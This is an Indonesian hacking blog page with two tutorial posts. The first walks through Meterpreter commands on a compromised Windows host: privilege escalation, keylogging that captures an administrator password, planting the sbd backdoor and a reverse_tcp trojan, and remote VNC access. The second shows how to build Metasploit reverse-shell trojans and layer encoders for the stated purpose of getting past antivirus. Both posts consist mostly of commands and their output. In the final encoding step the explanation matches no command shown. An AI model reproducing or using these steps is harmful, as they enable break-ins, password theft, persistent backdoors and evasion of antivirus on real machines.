Jogangan ITDiningrat: Virus

27.11.11

Messing With Meterpreter V3

Ini adalah versi ketiga dari Messing With Meterpreter (mengacau bersama meterpreter). Versi pertama dan kedua dapat anda temukan dalam daftar isi di blog ini.

Kali ini, saya akan memberikan beberapa perintah meterpreter yang sering saya gunakan dalam aktivitas exploitasi.

1. Information gathering + Privilege Escalation

a. sysinfo : berfungsi untuk menampilkan informasi dari system yang tereksploitasi.

Output:

meterpreter > sysinfo

Computer : ROOT-11E5DB48A8

OS : Windows XP (Build 2600, Service Pack 2).

Architecture : x86

System Language : en_US

Meterpreter : x86/win32

b. pwd : berfungsi untuk menampilkan informasi process work directory.

Output:

meterpreter > pwd

C:\Program Files\Mozilla Firefox

c. getuid : berfungsi untuk menampilkan user id dari system yang tereksploitasi.

Output:

meterpreter > getuid

Server username: ROOT-11E5DB48A8\Administrator

d. getsystem : berfungsi untuk mengangkat hak istimewa (privilege escalation) meterpreter.

meterpreter > getsystem

...got system (via technique 1).

Setelah getsystem dijalankan, maka user id menjadi:

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

e. ps : berfungsi untuk menampilkan daftar process yang sedang berjalan pada system yang terksploitasi.

f. migrate : berfungsi untuk memindahkan service meterpreter ke process lain.

meterpreter > migrate 632

[*] Migrating to 632...

[*] Migration completed successfully.

Note: saya berpindah ke process 632 a.k.a winlogon.exe

g.keyscan_start : berfungsi untuk merekam keystroke keyboard sesuai dengan process id meterpreter

meterpreter > keyscan_start

Starting the keystroke sniffer...

Note: keyscan_start dalam tutorial kali ini, saya merekan keystroke keyboard pada process 632 a.k.a winlogon.exe (sesuai dengan step f).

h. keyscan dump : berfungsi untuk menampilkan hasil dari keyscan_start

meterpreter > keyscan_dump

Dumping captured keystrokes...

red-dragon <Return>

Note: saya berhasil mengambil password administrator =)

i. ipconfig : berfungsi untuk menampilkan configurasi IP milik system yang tereksploitasi

meterpreter > ipconfig

MS TCP Loopback interface

Hardware MAC: 00:00:00:00:00:00

IP Address : 127.0.0.1

Netmask : 255.0.0.0

AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport

Hardware MAC: 00:50:56:28:dc:a0

IP Address : 172.16.60.128

Netmask : 255.255.255.0

2. Perintah UPLOAD

Saya akan mencoba mengupload 2 backdoor ke dalam system. Sehingga saya dapat mengeksploitasi system tanpa perlu repot-repot.

a. upload Secure Back Door a.k.a sbd.exe

meterpreter > upload /pentest/windows-binaries/tools/sbd.exe C://WINDOWS//system32

[*] uploading : /pentest/windows-binaries/tools/sbd.exe -> C://WINDOWS//system32

[*] uploaded : /pentest/windows-binaries/tools/sbd.exe -> C://WINDOWS//system32\sbd.exe

Note: saya mengupload sbd.exe yang berada di direktory /pentest/windows-binaries/tools/sbd.exe ke direktoy C://WINDOWS//system32

Menjalankan Secure Back Door

meterpreter > execute -H -f "C:/WINDOWS/system32/sbd.exe -q -r 10 -k reddragon -e cmd -p 1000 192.168.1.3"

Process 3364 created.

Mengakses Secure Back Door

root@red-dragon:~# wine /pentest/windows-binaries/tools/sbd.exe -l -k reddragon -p 1000

Microsoft Windows XP [Version 5.1.2600]

C:\WINDOWS\TEMP\gDzCKIoJEf>

Note: saya berhasil masuk ke dalam konsol command prompt tanpa metasploit =)

b. Upload Trojan Horse!

Pertama, buat terlebih dahulu trojan horse milik anda.

root@red-dragon:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=2000 X > /root/evil-trojan.exe

Created by msfpayload (http://www.metasploit.com).

Payload: windows/meterpreter/reverse_tcp

Length: 290

Options: {"LHOST"=>"192.168.1.3", "LPORT"=>"2000"}

Note: Saya membuat trojan horse dalam direktori root, dimana victim akan menghubungi 192.168.1.3 a.k.a attacker pada port 2000.

Upload Trojan Horse dengan konsol meterpreter.

meterpreter > upload /root/evil-trojan.exe C://WINDOWS//system32

[*] uploading : /root/evil-trojan.exe -> C://WINDOWS//system32

[*] uploaded : /root/evil-trojan.exe -> C://WINDOWS//system32\evil-trojan.exe

Menjalankan tugas multi handler untuk membuka meterpreter sesi baru.

Dalam konsol metasploit. Masukan perintah berikut:

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LPORT 2000

LPORT => 2000

msf exploit(handler) > exploit -j

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.3:2000

[*] Starting the payload handler...

Mengeksekusi evil-trojan.exe.

Note: kali ini, mengeksekusi evil-trojan.exe tidak bisa dilakukan dengan konsol meterpreter layaknya Secure Backdoor. Kita membutuhkan konsol shell a.k.a command prompt untuk mengeksekusinya. Dan pastikan process directory anda berada pada C:/WINDOWS/system32. Untuk mengecek process work directory, gunakan perintah pwd. Jika anda tidak berada pada pwd C:/WINDOWS/system32, lakukan tahap privilege escalation pada BAB 1 tahap E dan F. Ketika mengeksekusi perintah ps, perhatikan baris path. Dan temukan process yang bersumber dari direktori C:/WINDOWS/system32. Dalam kasus ini, saya melakukan migrate ke process 1072 a.k.a svchost.exe.

Buka command prompt dengan perintah:

meterpreter > shell

Process 136 created.

Channel 3 created.

Microsoft Windows XP [Version 5.1.2600]

C:\WINDOWS\system32>

Kemudian eksekusi evil-trojan milik kita

Microsoft Windows XP [Version 5.1.2600]

C:\WINDOWS\system32>evil-trojan.exe

evil-trojan.exe

Maka meterpreter sesi baru akan terbuka.

[*] Sending stage (752128 bytes) to 192.168.1.3

exit

[*] Meterpreter session 3 opened (192.168.1.3:2000 -> 192.168.1.3:47571) at 2011-11-27 10:45:25 +0700

3. Remote Desktop

Saya yakin anda mengincar yang satu ini. Langsung saja.

meterpreter > run vnc

[*] Creating a VNC reverse tcp stager: LHOST=192.168.1.3 LPORT=4545)

[*] Running payload handler

[*] VNC stager executable 73802 bytes long

[*] Uploaded the VNC agent to C:\WINDOWS\TEMP\eZeNeVFVL.exe (must be deleted manually)

[*] Executing the VNC agent with endpoint 192.168.1.3:4545...

meterpreter > Connected to RFB server, using protocol version 3.8

Enabling TightVNC protocol extensions

No authentication needed

Authentication successful

Desktop name "root-11e5db48a8"

VNC server default format:

32 bits per pixel.

Least significant byte first in each pixel.

True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0

Using default colormap which is TrueColor. Pixel format:

32 bits per pixel.

Least significant byte first in each pixel.

True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0

Using shared memory PutImage

Same machine: preferring raw encoding

4. Key-logger V2

Kali ini berbeda dengan keyscan_start di tahap sebelumnya. Key-logger ini merekam setiap keystroke tanpa memandang pwd meteterpreter.

meterpreter > run keylogrecorder

[*] explorer.exe Process found, migrating into 2532

[*] Migration Successful!!

[*] Starting the keystroke sniffer...

[*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.1.3_20111127.3406.txt

[*] Recording

Untuk melihat hasil Key-logger, buka file /root/.msf4/logs/scripts/keylogrecorder/192.168.1.3_20111127.3406.txt sesuai dengan output run keylogrecorder.

Mana yang anda suka? =)

created by:

red-dragon

supported by:

Blue Dragon

Loved by:

Yoshephine Handini

16.11.11

[ENCODING] Membuat Trojan Dengan Metasploit Extension

Kali ini saya akan memberikan sedikit pengarahan untuk membuat payload trojan dengan msfpayload lalu meng-encoding-nya dengan msfencode.

Preparation:

1. msfpayload

2. msfencode

Note: Dengan menginstall Metasploit, berarti kamu telah memiliki kedua requirements di atas.

Walkthrough:

Kali ini saya akan membuat payload trojan untuk melakukan interaksi dengan metasploit milik saya. IP address saya 10.21.0.232, dan Metasploit saya melakukan listening trojan pada port 4444.Buka terminal, lalu masukan perintah:root@red-dragon:~# msfpayload windows/meterpreter/reverse_tcp LHOST=10.21.0.232 LPORT=4444 X > /tmp/trojan1.exe

Keterangan:

Trojan diatas berfungsi untuk:

1. Membuka sesi meterpreter.

2. Membuat korban berinteraksi dengan metasploit yang berdiam pada IP address 10.21.0.232 dan mendengarkan pada port 4444

3. File di beri nama trojan1.exe pada direktori /tmp/

Ini adalah payload standar tanpa encoding, dan sangat mudah dikenali antivirus sebagai virus trojan. Untuk itu, kita akan melakukan encoding virus dengan bantuan msfencode.

Buka terminal lagi, lalu masukan perintah:

root@red-dragon:~# msfpayload windows/meterpreter/reverse_tcp LHOST=10.21.0.232 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -t exe > /tmp/trojan2.exe

Keterangan:

1. Membuka sesi meterpreter.

2. Membuat korban berinteraksi dengan metasploit yang berdiam pada IP address 10.21.0.232 dan mendengarkan pada port 4444

3. File disimpan dalam bentuk RAW (masih mentah, hanya berbentuk text)

4. msfencode melakukan encoding payload dengan x86/shikata_ga_nai

5. msfencode melakukan encoding dengan format ektensi .exe

6. File di beri nama trojan2.exe pada direktori /tmp/

Jika masih terdeteksi virus, mungkin metode ini bisa melewati antivirus. Buka terminal, lalu masukan perintah.

root@red-dragon:~# msfpayload windows/meterpreter/reverse_tcp LHOST=10.21.0.232 LPORT=4444 R | msfencode -a x86 -b '\x00\xff' -e x86/shikata_ga_nai -t exe > /tmp/trojan3.exe

Keterangan:

1. Membuka sesi meterpreter.

2. Membuat korban berinteraksi dengan metasploit yang berdiam pada IP address 10.21.0.232 dan mendengarkan pada port 4444

3. File disimpan dalam bentuk RAW (masih mentah, hanya berbentuk text)

4. msfencode melakukan encoding payload dengan arsitektur x86 (32 bit)

5. msfencode melakukan encoding payload dengan menghindari shell code \x00\xff saat melakukan generating shell code.

6. msfencode melakukan encoding payload dengan x86/shikata_ga_nai

7. msfencode melakukan encoding dengan format ektensi .exe

8. File di beri nama trojan3.exe pada direktori /tmp/

Jika masih terdeteksi virus, mungkin metode ini bisa melewati antivirus. Buka terminal, lalu masukan perintah.

root@red-dragon:~# msfpayload windows/meterpreter/reverse_tcp LHOST=10.21.0.232 LPORT=4444 R | msfencode -a x86 -b '\x00\xff' -e x86/shikata_ga_nai -c 8 -t exe > /tmp/trojan3.exe

Keterangan:

1. Membuka sesi meterpreter.

2. Membuat korban berinteraksi dengan metasploit yang berdiam pada IP address 10.21.0.232 dan mendengarkan pada port 4444

3. File disimpan dalam bentuk RAW (masih mentah, hanya berbentuk text)

4. msfencode melakukan encoding payload dengan arsitektur x86 (32 bit)

5. msfencode melakukan encoding payload dengan menghindari shell code \x00\xff saat melakukan generating shell code.

6. msfencode melakukan encoding payload dengan x86/shikata_ga_nai

7. x86/shikata_ga_nai melakukan encoding payload sebanyak 8 kali

8. msfencode melakukan encoding dengan format ektensi .exe

9. File di beri nama trojan3.exe pada direktori /tmp/

Jika masih terdeteksi virus, mungkin metode ini bisa melewati antivirus. Buka terminal, lalu masukan perintah.

root@red-dragon:~# msfpayload windows/meterpreter/reverse_tcp LHOST=10.21.0.232 LPORT=4444 R | msfencode -a x86 -b '\x00\xff' -e x86/shikata_ga_nai -c 8 -v -t exe > /tmp/trojan4.exe

Keterangan:

1. Membuka sesi meterpreter.

2. Membuat korban berinteraksi dengan metasploit yang berdiam pada IP address 10.21.0.232 dan mendengarkan pada port 4444

3. File disimpan dalam bentuk RAW (masih mentah, hanya berbentuk text)

4. msfencode melakukan encoding payload dengan arsitektur x86 (32 bit)

5. msfencode melakukan encoding payload dengan menghindari shell code \x00\xff saat melakukan generating shell code.

6. msfencode melakukan encoding payload dengan x86/shikata_ga_nai

7. x86/shikata_ga_nai melakukan encoding payload sebanyak 8 kali

8. msfencode meingkatkan verbose level

9. msfencode melakukan encoding dengan format ektensi .exe

10. File di beri nama trojan4.exe pada direktori /tmp/

Jika masih terdeteksi virus, mungkin metode ini bisa melewati antivirus. Buka terminal, lalu masukan perintah.

root@red-dragon:~# msfpayload windows/meterpreter/reverse_tcp LHOST=10.21.0.232 LPORT=4444 R | msfencode -a x86 -b '\x00\xff' -e x86/shikata_ga_nai -c 8 -v -t raw | msfencode -e x86/call4_dword_xor -t exe > /tmp/trojan6.exe

Keterangan:

1. Membuka sesi meterpreter.

2. Membuat korban berinteraksi dengan metasploit yang berdiam pada IP address 10.21.0.232 dan mendengarkan pada port 4444

3. File disimpan dalam bentuk RAW (masih mentah, hanya berbentuk text)

4. msfencode melakukan encoding payload dengan arsitektur x86 (32 bit)

5. msfencode melakukan encoding payload dengan menghindari shell code \x00\xff saat melakukan generating shell code.

6. msfencode melakukan encoding payload dengan x86/shikata_ga_nai

7. x86/shikata_ga_nai melakukan encoding payload sebanyak 8 kali

8. msfencode meingkatkan verbose level

9. msfencode menyimpan payload dalam format RAW

10. msfencode melakukan encoding kembali dengan encoder x86/call4_dword_xor

11. msfencode melakukan encoding dengan format ektensi .exe

12. File di beri nama trojan6.exe pada direktori /tmp/

Jika masih terdeteksi virus, mungkin metode ini bisa melewati antivirus. Buka terminal, lalu masukan perintah.

Keterangan:

1. Membuka sesi meterpreter.

2. Membuat korban berinteraksi dengan metasploit yang berdiam pada IP address 10.21.0.232 dan mendengarkan pada port 4444

3. File disimpan dalam bentuk RAW (masih mentah, hanya berbentuk text)

4. msfencode melakukan encoding payload dengan arsitektur x86 (32 bit)

5. msfencode melakukan encoding payload dengan menghindari shell code \x00\xff saat melakukan generating shell code.

6. msfencode melakukan encoding payload dengan x86/shikata_ga_nai

7. x86/shikata_ga_nai melakukan encoding payload sebanyak 8 kali

8. msfencode meingkatkan verbose level

9. msfencode menyimpan payload dalam format RAW

10. msfencode melakukan encoding kembali dengan encoder x86/call4_dword_xor

11. x86/call4_dword_xor melakukan encoding sebanyak 2 kali

12 x86/call4_dword_xor menyimpan payload dalam format RAW

13. msfencode melakukan encoding dengan encoder x86/jmp_call_additive

14. x86/jmp_call_additive melakukan encoding payload sebanyak 2 kali

15. msfencode melakukan encoding dengan format ektensi .exe

16. File di beri nama trojan4.exe pada direktori /tmp/

Sampai sejauh ini, virus-virus jahat kita sudah bersembunyi dengan baik di balik amplop yang dibuat pada encoder. Dan jika masih terseteksi, kamu bisa menggunakan encoder lain, mengkombinasikan encoder, meningkatkan banyaknya encoding yang dilakukan, atau memilih payload lain.

Created by:

red-dragon

Supported by:

Blue Dragon

Loced By:

Yoshephine Handini